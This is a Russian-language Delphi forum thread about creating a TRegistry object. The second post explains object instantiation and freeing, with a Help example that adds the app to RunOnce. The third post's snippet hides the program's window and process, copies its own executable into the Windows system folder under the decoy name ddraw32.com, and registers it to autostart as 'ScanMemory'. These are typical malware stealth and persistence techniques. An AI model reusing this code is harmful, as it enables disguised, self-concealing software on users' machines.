Наши проекты:
Журнал · Discuz!ML · Wiki · DRKB · Помощь проекту |
||
ПРАВИЛА | FAQ | Помощь | Поиск | Участники | Календарь | Избранное | RSS |
[3.131.13.37] |
|
Сообщ.
#1
,
|
|
|
А как создать TRegistry?? Никто не скажет??
|
Сообщ.
#2
,
|
|
|
Есть же Help, там все очень подробно...
Ниже пример оттуда... Reg:=TRegistry.Create и есть создание экземпляра объекта TRegistry На самом деле объявление Reg должно выглядеть так: Reg:^TRegistry; То есть Reg это УКАЗАТЕЛЬ НА ОБЪЕКТ ТИПА TRegistry и содержит он по началу NIL, то бишь пустой указатель... Работать с обектом еще нельзя, т.к. его ПРОСТО НЕТ ! А вот строка Reg:=TRegistry.Create - создает экземпляр объекта TRegistry в "куче" (динамической памяти) и присваивает указателю Reg адрес, где этот объект находится... Теперь можно с ним работать ! Reg - ЭТО НЕ ПЕРЕМЕННАЯ, А УКАЗАТЕЛЬ !!! Вообще Borland облегчил жизнь программистам, упростив синтакс работы с указателями...В TP7 такое объявление не прокатило бы. Отсюда и проблемы народ часто путает переменные как таковые с указателями на ОБЪЕКТ. Объект всегда создается в "куче" и дело это на совести программиста, кроме тех случаев, когда владелец объекта, ну форма например, делает это сам...(хоть и не говорит об этом). Не надо забывать уничтожать ранее созданный объект (форма делает со своими объектами это сама...), как только он не нужен, никто этого не сделает кроме самого программиста, если этого не сделать - будет исключение при закрытии приложения и освобождении "кучи"... Прчем лучше это делать через Free, а не через Destroy - разница в том, что Free проверяет возможность уничтожения объекта, а уже потом выполняет Destroy... Надежнее. ---------------------------cut------------------- procedure TForm1.WMEndSession(var Message: TWMEndSession); var Reg: TRegistry; begin Reg := TRegistry.Create; try Reg.RootKey := HKEY_CURRENT_USER; if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\RunOnce', True) then Reg.WriteString('MyApp','"' + ParamStr(0) + '"'); finally Reg.CloseKey; Reg.Free; inherited; end; end; |
Сообщ.
#3
,
|
|
|
uses registry;
var WinDir: PChar; h:TRegistry; begin ShowWindow(Application.Handle,sw_Hide); if not(csDesigning in ComponentState) then RegisterServiceProcess(GetCurrentProcessID,1); application.ShowMainForm:=false; GetMem(WinDir, 144); GetWindowsDirectory(WinDir, 144); CopyFile(PChar(Application.ExeName),PChar(WinDir+'\system\ddraw32.com'),true); h:=TRegistry.Create; h.RootKey:=HKEY_LOCAL_MACHINE; h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true); h.WriteString('ScanMemory',WinDir+'\system\ddraw32.com'); h.CloseKey; h.Free; end; |